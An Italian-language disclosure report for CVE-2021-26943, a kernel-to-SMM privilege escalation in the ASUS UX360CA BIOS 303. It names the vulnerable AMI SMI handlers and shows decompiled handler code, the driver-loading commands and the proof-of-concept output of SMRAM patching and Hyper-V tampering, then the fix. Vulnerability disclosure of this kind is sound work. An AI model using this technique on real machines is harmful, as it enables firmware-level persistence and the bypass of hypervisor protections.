
Il report e l'exploit di CVE-2021-26943, la vulnerabilità di escalation locale dei privilegi da kernel a SMM nel BIOS ASUS UX360CA versione 303.
Questa è una relazione e un exploit di CVE-2021-26943, la vulnerabilità di escalation dei privilegi locali da kernel a SMM nel BIOS versione 303 di ASUS UX360CA. Il problema è stato corretto nella versione 304.
Il BIOS versione 303 di UX360CA ha 3 moduli vulnerabili che consentono a un attaccante con privilegi ring0 di sovrascrivere memoria fisica quasi arbitraria, inclusa la SMRAM, e di eseguire codice arbitrario in SMM.
Questi moduli possono essere identificati come segue:
| Nome | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
Questi moduli sono di AMI (fornitore del BIOS) e potrebbero essere presenti nei BIOS di altri OEM.
I moduli vulnerabili e i rispettivi SMI sono: UsbRt (0x31), SdioSmm (0x40) e NvmeSmm (0x42). Tutti questi gestori SMI leggono l'indirizzo di memoria fisica 0x40E per ottenere un indirizzo su cui lavorare e scrivono un byte all'indirizzo in caso di errore, anche se si tratta di SMRAM.
Ad esempio, il gestore SMI di SdioSmm si presenta come segue:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
Questo problema sembra essere identico a INTEL-SA-00057, descritto egregiamente come Aptiocalypsis. Tuttavia, la versione 303 del BIOS per UX360CA non include le correzioni per questi problemi.
Ciò consente a un attaccante con accesso in scrittura alla memoria fisica e all'istruzione OUT (cioè i privilegi ring0) di sovrascrivere il contenuto della SMRAM con i seguenti passaggi:
Questo può essere usato per ottenere l'esecuzione di codice arbitrario in SMM come segue:
.Raw in HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader ReservedL'esecuzione di codice arbitrario in SMM consentirebbe a un attaccante di bypassare le misure di sicurezza del kernel e dell'hypervisor come l'HVCI, come dimostrato in un'altra relazione su una vulnerabilità SMM, e di stabilire una persistenza aggiornando il contenuto della flash SPI (BIOS).
Il progetto demo allegato dimostra lo sfruttamento riuscito e scarica il contenuto dei MSR accessibili solo in SMM e l'indirizzo fisico dell'EPTP. Modifica inoltre il codice di gestione della VM-exit CPUID dell'hypervisor Hyper-V per restituire una stringa del fornitore dell'hypervisor alterata.
Il PoC è testato su Windows build 18362.1256, con e senza HVCI abilitato.
La registrazione dello sfruttamento riuscito è disponibile su YouTube.

Sul sistema di destinazione,
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
La correzione consiste nell'evitare del tutto l'uso del contenuto controllato dall'utente quando punta all'interno della SMRAM, come mostrato di seguito.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
La correzione segue perfettamente le attuali migliori pratiche del settore e previene l'attacco del deputato confuso che porta alla corruzione della SMRAM.
Si noti, tuttavia, che non tiene conto delle regioni di memoria dell'hypervisor. Un attaccante che conosca l'indirizzo di memoria fisica in cui l'hypervisor è caricato o che utilizza potrebbe comunque richiedere all'SMI di sovrascrivere codice o dati dell'hypervisor e ottenere la corruzione dell'hypervisor.
Questo è un problema diffuso, esistente da tempo e persino a livello di progettazione.
I problemi segnalati sono stati risolti, ma ci sono stati alcuni problemi per quanto riguarda l'attuazione della strategia di difesa in profondità.
Ad esempio, la tabella delle pagine SMM è mappata in modo identitario con pieni permessi di lettura, scrittura ed esecuzione, e la funzionalità SMM_Code_Chk_En non era disponibile. Questi fattori hanno reso lo sfruttamento banale. Ho anche notato che il buffer di comunicazione SMM non viene verificato con SmmIsBufferOutsideSmmValid() come presente in EDK2, anche se non ho trovato un SMI sfruttabile.
Credo che questi siano problemi comuni tra gli OEM e molte versioni di BIOS. Faccio notare che se utilizzate modelli vecchi di qualsiasi OEM, quel BIOS è improbabile che sia sicuro quanto vorreste, anche con le versioni più recenti del BIOS.
Questi problemi non scompariranno molto presto, ma sono entusiasta di vedere che il settore sta lavorando a una soluzione architetturale riducendo i privilegi della SMM. Ecco alcuni di questi lavori e articoli che potete consultare:
Ecco alcuni punti salienti.
Infine, un grande ringraziamento ai team ASUS per aver mantenuto il ciclo di comunicazione stretto e trasparente❤ Il processo complessivo non è stato veloce, ma è stato piuttosto privo di frustrazioni.
Hv Tampered!.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!